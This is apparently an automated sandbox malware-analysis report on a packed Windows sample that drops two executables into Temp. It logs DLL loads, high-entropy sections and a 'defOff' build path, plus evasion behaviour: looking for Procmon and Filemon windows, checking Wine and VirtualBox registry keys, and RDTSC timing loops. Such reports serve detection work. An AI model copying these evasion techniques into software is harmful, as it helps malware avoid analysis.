Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\I8TEVW54DAWA7LANTKTUH8I1LE.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\I8TEVW54DAWA7LANTKTUH8I1LE.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\I8TEVW54DAWA7LANTKTUH8I1LE.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\I8TEVW54DAWA7LANTKTUH8I1LE.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\I8TEVW54DAWA7LANTKTUH8I1LE.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\I8TEVW54DAWA7LANTKTUH8I1LE.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\I8TEVW54DAWA7LANTKTUH8I1LE.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\I8TEVW54DAWA7LANTKTUH8I1LE.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\I8TEVW54DAWA7LANTKTUH8I1LE.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\I8TEVW54DAWA7LANTKTUH8I1LE.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\I8TEVW54DAWA7LANTKTUH8I1LE.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YYVZHLAZ7NPNQKZ17XJO.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YYVZHLAZ7NPNQKZ17XJO.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YYVZHLAZ7NPNQKZ17XJO.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YYVZHLAZ7NPNQKZ17XJO.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YYVZHLAZ7NPNQKZ17XJO.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YYVZHLAZ7NPNQKZ17XJO.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YYVZHLAZ7NPNQKZ17XJO.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YYVZHLAZ7NPNQKZ17XJO.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YYVZHLAZ7NPNQKZ17XJO.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YYVZHLAZ7NPNQKZ17XJO.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YYVZHLAZ7NPNQKZ17XJO.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YYVZHLAZ7NPNQKZ17XJO.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YYVZHLAZ7NPNQKZ17XJO.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YYVZHLAZ7NPNQKZ17XJO.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YYVZHLAZ7NPNQKZ17XJO.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YYVZHLAZ7NPNQKZ17XJO.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YYVZHLAZ7NPNQKZ17XJO.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YYVZHLAZ7NPNQKZ17XJO.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YYVZHLAZ7NPNQKZ17XJO.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YYVZHLAZ7NPNQKZ17XJO.exe	Section loaded: netutils.dll	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\YYVZHLAZ7NPNQKZ17XJO.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: XNtOBQ5NHr.exe

Static file information: File size 1829888 > 1048576

Source: XNtOBQ5NHr.exe

Static PE information: Raw size of xggnqxoz is bigger than: 0x100000 < 0x196800

Source:

Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: I8TEVW54DAWA7LANTKTUH8I1LE.exe, 00000003.00000002.2538223591.0000000000802000.00000040.00000001.01000000.00000006.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\AppData\Local\Temp\I8TEVW54DAWA7LANTKTUH8I1LE.exe	Unpacked PE file: 3.2.I8TEVW54DAWA7LANTKTUH8I1LE.exe.800000.0.unpack :EW;.rsrc:W;.idata :W;ljmymddw:EW;ajdgxuni:EW;.taggant:EW; vs :ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\YYVZHLAZ7NPNQKZ17XJO.exe	Unpacked PE file: 4.2.YYVZHLAZ7NPNQKZ17XJO.exe.80000.0.unpack :EW;.rsrc:W;.idata :W;ojvirhut:EW;ueswzroq:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;ojvirhut:EW;ueswzroq:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: YYVZHLAZ7NPNQKZ17XJO.exe.0.dr	Static PE information: real checksum: 0x2c9bdd should be: 0x2c4122
Source: XNtOBQ5NHr.exe	Static PE information: real checksum: 0x1c6fb7 should be: 0x1cb4a8
Source: I8TEVW54DAWA7LANTKTUH8I1LE.exe.0.dr	Static PE information: real checksum: 0x2b95dc should be: 0x2bba7d

Source: XNtOBQ5NHr.exe	Static PE information: section name:
Source: XNtOBQ5NHr.exe	Static PE information: section name: .idata
Source: XNtOBQ5NHr.exe	Static PE information: section name:
Source: XNtOBQ5NHr.exe	Static PE information: section name: xggnqxoz
Source: XNtOBQ5NHr.exe	Static PE information: section name: qpltxtjh
Source: XNtOBQ5NHr.exe	Static PE information: section name: .taggant
Source: I8TEVW54DAWA7LANTKTUH8I1LE.exe.0.dr	Static PE information: section name:
Source: I8TEVW54DAWA7LANTKTUH8I1LE.exe.0.dr	Static PE information: section name: .idata
Source: I8TEVW54DAWA7LANTKTUH8I1LE.exe.0.dr	Static PE information: section name: ljmymddw
Source: I8TEVW54DAWA7LANTKTUH8I1LE.exe.0.dr	Static PE information: section name: ajdgxuni
Source: I8TEVW54DAWA7LANTKTUH8I1LE.exe.0.dr	Static PE information: section name: .taggant
Source: YYVZHLAZ7NPNQKZ17XJO.exe.0.dr	Static PE information: section name:
Source: YYVZHLAZ7NPNQKZ17XJO.exe.0.dr	Static PE information: section name: .idata
Source: YYVZHLAZ7NPNQKZ17XJO.exe.0.dr	Static PE information: section name: ojvirhut
Source: YYVZHLAZ7NPNQKZ17XJO.exe.0.dr	Static PE information: section name: ueswzroq
Source: YYVZHLAZ7NPNQKZ17XJO.exe.0.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	Code function: 0_3_012C0338 push 3DA33510h; iretd	0_3_012C033D
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	Code function: 0_3_012C0B33 push ds; ret	0_3_012C0B35
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	Code function: 0_3_012BE350 push eax; retf	0_3_012BE351
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	Code function: 0_3_012BE9AF push esi; retf	0_3_012BEA0D
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	Code function: 0_3_012BE9A1 push esi; retf	0_3_012BEA0D
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	Code function: 0_3_012C03B1 push eax; ret	0_3_012C03BC
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	Code function: 0_3_012BF2ED push edx; retf	0_3_012BF2EE
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	Code function: 0_3_012972F7 push esi; retf	0_3_012972FA
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	Code function: 0_3_0125CF6E pushad ; iretd	0_3_0125CF71
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	Code function: 0_3_0125CF5E push eax; iretd	0_3_0125CF61
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	Code function: 0_3_012C03B3 push eax; ret	0_3_012C03BC
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	Code function: 0_3_012C02D7 push ebp; iretd	0_3_012C02DC
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	Code function: 0_3_012C03B3 push eax; ret	0_3_012C03BC
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	Code function: 0_3_012C02D7 push ebp; iretd	0_3_012C02DC
Source: C:\Users\user\AppData\Local\Temp\I8TEVW54DAWA7LANTKTUH8I1LE.exe	Code function: 3_2_008122A0 push ecx; mov dword ptr [esp], edi	3_2_00815316
Source: C:\Users\user\AppData\Local\Temp\I8TEVW54DAWA7LANTKTUH8I1LE.exe	Code function: 3_2_0098750B push 36B31500h; mov dword ptr [esp], ecx	3_2_00987553
Source: C:\Users\user\AppData\Local\Temp\I8TEVW54DAWA7LANTKTUH8I1LE.exe	Code function: 3_2_0098750B push edx; mov dword ptr [esp], edi	3_2_0098758C
Source: C:\Users\user\AppData\Local\Temp\I8TEVW54DAWA7LANTKTUH8I1LE.exe	Code function: 3_2_0098750B push ebp; mov dword ptr [esp], esi	3_2_009875D1
Source: C:\Users\user\AppData\Local\Temp\I8TEVW54DAWA7LANTKTUH8I1LE.exe	Code function: 3_2_0098750B push 5DEAFC3Ah; mov dword ptr [esp], esi	3_2_009875EA
Source: C:\Users\user\AppData\Local\Temp\I8TEVW54DAWA7LANTKTUH8I1LE.exe	Code function: 3_2_009876BA push 37874954h; mov dword ptr [esp], esi	3_2_00987725
Source: C:\Users\user\AppData\Local\Temp\I8TEVW54DAWA7LANTKTUH8I1LE.exe	Code function: 3_2_009876BA push ebx; mov dword ptr [esp], 6E720E00h	3_2_00987776
Source: C:\Users\user\AppData\Local\Temp\I8TEVW54DAWA7LANTKTUH8I1LE.exe	Code function: 3_2_009876BA push 5EDEBF39h; mov dword ptr [esp], edi	3_2_009877F9
Source: C:\Users\user\AppData\Local\Temp\I8TEVW54DAWA7LANTKTUH8I1LE.exe	Code function: 3_2_0080E9D3 push ebx; mov dword ptr [esp], ecx	3_2_0080E9E9
Source: C:\Users\user\AppData\Local\Temp\I8TEVW54DAWA7LANTKTUH8I1LE.exe	Code function: 3_2_0080E9D3 push edx; mov dword ptr [esp], eax	3_2_0080EA01
Source: C:\Users\user\AppData\Local\Temp\I8TEVW54DAWA7LANTKTUH8I1LE.exe	Code function: 3_2_0099B09B push 592C68CEh; mov dword ptr [esp], ebx	3_2_0099C187
Source: C:\Users\user\AppData\Local\Temp\I8TEVW54DAWA7LANTKTUH8I1LE.exe	Code function: 3_2_0081308E push edx; mov dword ptr [esp], 0989C78Ch	3_2_008149E3
Source: C:\Users\user\AppData\Local\Temp\I8TEVW54DAWA7LANTKTUH8I1LE.exe	Code function: 3_2_0080C09F push 54BA76F9h; mov dword ptr [esp], edi	3_2_0080C880
Source: C:\Users\user\AppData\Local\Temp\I8TEVW54DAWA7LANTKTUH8I1LE.exe	Code function: 3_2_0098E0AA push ecx; mov dword ptr [esp], 00000004h	3_2_0098E589
Source: C:\Users\user\AppData\Local\Temp\I8TEVW54DAWA7LANTKTUH8I1LE.exe	Code function: 3_2_0098F0CC push eax; mov dword ptr [esp], eax	3_2_0098F496
Source: C:\Users\user\AppData\Local\Temp\I8TEVW54DAWA7LANTKTUH8I1LE.exe	Code function: 3_2_0098F0CC push eax; mov dword ptr [esp], eax	3_2_0098F4C5
Source: C:\Users\user\AppData\Local\Temp\I8TEVW54DAWA7LANTKTUH8I1LE.exe	Code function: 3_2_0098F0CC push eax; mov dword ptr [esp], eax	3_2_0098F4DF

Source: XNtOBQ5NHr.exe	Static PE information: section name: entropy: 7.980521731479368
Source: XNtOBQ5NHr.exe	Static PE information: section name: xggnqxoz entropy: 7.9533584427282955

Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	File created: C:\Users\user\AppData\Local\Temp\YYVZHLAZ7NPNQKZ17XJO.exe			Jump to dropped file
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	File created: C:\Users\user\AppData\Local\Temp\I8TEVW54DAWA7LANTKTUH8I1LE.exe			Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\I8TEVW54DAWA7LANTKTUH8I1LE.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\I8TEVW54DAWA7LANTKTUH8I1LE.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\I8TEVW54DAWA7LANTKTUH8I1LE.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\I8TEVW54DAWA7LANTKTUH8I1LE.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\I8TEVW54DAWA7LANTKTUH8I1LE.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\I8TEVW54DAWA7LANTKTUH8I1LE.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\I8TEVW54DAWA7LANTKTUH8I1LE.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\I8TEVW54DAWA7LANTKTUH8I1LE.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\I8TEVW54DAWA7LANTKTUH8I1LE.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YYVZHLAZ7NPNQKZ17XJO.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YYVZHLAZ7NPNQKZ17XJO.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YYVZHLAZ7NPNQKZ17XJO.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YYVZHLAZ7NPNQKZ17XJO.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YYVZHLAZ7NPNQKZ17XJO.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\I8TEVW54DAWA7LANTKTUH8I1LE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\I8TEVW54DAWA7LANTKTUH8I1LE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\I8TEVW54DAWA7LANTKTUH8I1LE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\I8TEVW54DAWA7LANTKTUH8I1LE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\I8TEVW54DAWA7LANTKTUH8I1LE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\I8TEVW54DAWA7LANTKTUH8I1LE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\I8TEVW54DAWA7LANTKTUH8I1LE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\I8TEVW54DAWA7LANTKTUH8I1LE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\I8TEVW54DAWA7LANTKTUH8I1LE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\I8TEVW54DAWA7LANTKTUH8I1LE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\I8TEVW54DAWA7LANTKTUH8I1LE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\I8TEVW54DAWA7LANTKTUH8I1LE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\I8TEVW54DAWA7LANTKTUH8I1LE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\I8TEVW54DAWA7LANTKTUH8I1LE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\I8TEVW54DAWA7LANTKTUH8I1LE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\I8TEVW54DAWA7LANTKTUH8I1LE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\I8TEVW54DAWA7LANTKTUH8I1LE.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\I8TEVW54DAWA7LANTKTUH8I1LE.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YYVZHLAZ7NPNQKZ17XJO.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YYVZHLAZ7NPNQKZ17XJO.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 400AD4 second address: 400ADA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 400DDD second address: 400DE1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 400DE1 second address: 400E03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FAD607DA414h 0x0000000d jnc 00007FAD607DA406h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 400E03 second address: 400E21 instructions: 0x00000000 rdtsc 0x00000002 js 00007FAD60CE3D76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c popad 0x0000000d push edx 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 js 00007FAD60CE3D76h 0x00000018 jc 00007FAD60CE3D76h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 400E21 second address: 400E25 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 400F86 second address: 400F92 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007FAD60CE3D76h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 400F92 second address: 400FB5 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FAD607DA406h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jmp 00007FAD607DA413h 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 4010E0 second address: 4010FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAD60CE3D7Dh 0x00000009 pop edx 0x0000000a push ebx 0x0000000b pushad 0x0000000c popad 0x0000000d pop ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 4010FA second address: 4010FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 403A22 second address: 403A29 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 403A29 second address: 403AD2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 nop 0x00000008 mov edx, eax 0x0000000a push 00000000h 0x0000000c mov edi, dword ptr [ebp+122D363Eh] 0x00000012 jmp 00007FAD607DA40Fh 0x00000017 push 45F56FF1h 0x0000001c jmp 00007FAD607DA419h 0x00000021 xor dword ptr [esp], 45F56F71h 0x00000028 xor dword ptr [ebp+122D2273h], esi 0x0000002e push 00000003h 0x00000030 push 00000000h 0x00000032 push esi 0x00000033 call 00007FAD607DA408h 0x00000038 pop esi 0x00000039 mov dword ptr [esp+04h], esi 0x0000003d add dword ptr [esp+04h], 00000015h 0x00000045 inc esi 0x00000046 push esi 0x00000047 ret 0x00000048 pop esi 0x00000049 ret 0x0000004a mov ecx, dword ptr [ebp+122D3496h] 0x00000050 push 00000000h 0x00000052 mov si, 6766h 0x00000056 push 00000003h 0x00000058 push 00000000h 0x0000005a push esi 0x0000005b call 00007FAD607DA408h 0x00000060 pop esi 0x00000061 mov dword ptr [esp+04h], esi 0x00000065 add dword ptr [esp+04h], 0000001Ah 0x0000006d inc esi 0x0000006e push esi 0x0000006f ret 0x00000070 pop esi 0x00000071 ret 0x00000072 call 00007FAD607DA409h 0x00000077 push eax 0x00000078 push edx 0x00000079 push ebx 0x0000007a push eax 0x0000007b push edx 0x0000007c rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 403AD2 second address: 403AD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 403AD7 second address: 403B1D instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007FAD607DA410h 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007FAD607DA419h 0x00000011 mov eax, dword ptr [esp+04h] 0x00000015 jo 00007FAD607DA40Ah 0x0000001b push ecx 0x0000001c pushad 0x0000001d popad 0x0000001e pop ecx 0x0000001f mov eax, dword ptr [eax] 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
